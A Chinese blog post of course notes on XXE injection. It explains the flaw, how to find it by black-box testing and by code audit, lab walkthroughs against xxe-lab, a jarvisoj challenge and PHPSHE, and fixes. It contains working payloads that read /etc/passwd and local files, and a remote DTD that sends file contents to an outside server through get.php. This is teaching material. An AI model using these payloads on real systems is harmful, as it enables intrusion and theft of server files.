本文发布于509天前,本文最后更新于504 天前,其中的信息可能已经过时,如有错误请留言或评论。
知识点
- XXE&XML-原理-用途&外实体&安全
- XXE&XML-黑盒-格式类型&数据类型
- XXE&XML-白盒-函数审计&回显方案
演示案例
➢XML&XXE-传输-原理&探针&利用&玩法
传输-原理
XML是什么?危害?
- XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。等同于JSON传输。
- XXE漏洞XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取(大部分都是)、命令执行、内网扫描、攻击内网等危害。
- php原生态代码只能造成文件读取
- 例如命令执行是java中一些第三方库导致的安全问题有关
XML 与 HTML 的主要差异
- XML 被设计为传输和存储数据,其焦点是数据的内容。
- HTML 被设计用来显示数据,其焦点是数据的外观。
- HTML 旨在显示信息 ,而XML旨在传输存储信息。
- Example:网站的xml文件解析
探针
XXE黑盒发现
- 获取得到Content-Type或数据类型为xml时,尝试xml语言payload进行测试
- 不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe,
可以在bp过滤查看是否是xml,例如包中包含<?xml - XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行
- 这个没讲
XXE白盒发现
- 可通过应用功能追踪代码定位审计
- 可通过脚本特定函数搜索定位审计
- 可通过伪协议玩法绕过相关修复等
有无回显
- 使用带外查询分析判断是否有回显
- 利用:外部实体引用(外部实体dtd引用) oob(OOB即,带外通道技术)盲注
利用&玩法
演示靶场:https://github.com/c0ny1/xxe-lab中的php_xxe
抓取到的登录包即返回如下,发现返回包中包含username
- 有回显读取文件:
<?xml version="1.0"?> <!DOCTYPE xiaodi [ <!ENTITY test SYSTEM "file:///d:/1.txt"> ]> <user><username>&test;</username><password>xiaodi</password></user>
- 带外测试:
- 测试是否有xxe漏洞
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn"> %file; ]> <user><username>&send;</username><password>xiaodi</password></user>
- 测试是否有xxe漏洞
- 外部引用实体dtd:
- 即相当于引用库,库中可以写入代码,让目标执行
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://127.0.0.1:8081/xiaodi.dtd"> %file; ]> <user><username>&send;</username><password>xiaodi</password></user>
- 远程服务器中的xiaodi.dtd内容如下
<!ENTITY send SYSTEM "file:///d:/1.txt">
- 即相当于引用库,库中可以写入代码,让目标执行
- 无回显读文件
- 即利用外部实体dtd加载xml代码
<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///d:/1.txt"> <!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd"> %remote; %all; ]> <root>&send;</root>
- 远程服务器中的xiaodi.dtd内容如下,在get.php中接收file参数并写入文件
<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">
- 即利用外部实体dtd加载xml代码
- 其他玩法(协议)-见参考
➢XML&XXE-黑盒-JS&黑盒测试&类型修改
XXE黑盒发现:
- 获取Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试
- 不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
- 流程:功能分析-前端提交-源码&抓包-构造Paylod测试
类型修改
- 演示网站:http://web.jarvisoj.com:9882/
- 抓取数据包可以发现发送的数据类型为json
- 这里更改请求数据格式:Content-Type
Content-Type: application/json ====>>> Content-Type: application/xml
- 然后将传输数据修改为以下内容读取etc/passwd
- 正常来说不知道是Windows还是Linux,所以可以都进行尝试,这里的话是小迪已经测出来了,所以就没有进行测试,直接读取的/etc/passwd
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <x>&f;</x>
- 正常来说不知道是Windows还是Linux,所以可以都进行尝试,这里的话是小迪已经测出来了,所以就没有进行测试,直接读取的/etc/passwd
- 发现返回数据包中成功读取到了/etc/passwd
➢XML&XXE-白盒-CMS&PHPSHE&无回显
- 演示靶场:http://www.phpshe.com/
- 小迪演示的是1.7,但是2023-12-11他这里官网免费下载只有1.8
- 盲猜了一波1.7还能下载,直接把下载链接中的1.8改成1.7就行:
代码审计流程
- 漏洞函数simplexml_load_string
- 直接全局搜索关键字simplexml_load_string,发现有三处,选择第三处打开
- 直接全局搜索关键字simplexml_load_string,发现有三处,选择第三处打开
- pe_getxml函数调用了漏洞函数
- 然后右键该函数跳转到声明或用例发现wechat_getxml
- wechat_getxml调用了pe_getxml
- 然后右键该函数跳转到声明或用例发现notify_url.php中调用了该函数
- notify_url.php调用了wechat_getxml
- 访问notify_url.php文件触发wechat_getxml函数,构造Paylod测试
- 访问http://127.0.0.1:91/include/plugin/payment/wechat/notify_url.php,发现可以正常访问,抓包进行测试
利用
注意:要注意php版本,我开始时使用的是php5.6.9,导致一直报出各种错误,不论怎么样修改都无法dnslog外带查询,始终有报错,不是小迪视频里那种虽然有报错但是dnslog有记录的那种,是dnslog无记录的报错,最终修改php版本为php5.4.45才出现了和小迪一样的情况,尽管有报错,但是dnslog有记录。如下这种报错才是小迪演示时出现的,也是可以dnslog外带的报错
- 先尝试读取文件,无回显后带外测试:
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://1uwlwv.dnslog.cn"> %file; ]> <root>&send;</root>
- 然后带外传递数据解决无回显:
<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///d:/1.txt"> <!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd"> %remote; %all; ]> <root>&send;</root>
- 远程服务器test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">
- 即可成功读取文件并写入指定文件,get.php的作用即获取file参数并保存至指定文件。
- 远程服务器test.dtd:
XXE修复防御方案
方案1-禁用外部实体
PHP: libxml_disable_entity_loader(true); JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false); Python: from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案2-过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
参考
学习内容均来自小迪安全系列课程:
XXE学习参考:https://www.cnblogs.com/20175211lyz/p/11413335.html
也可参考某个大佬的笔记:https://blog.csdn.net/m0_60571842/article/details/134175827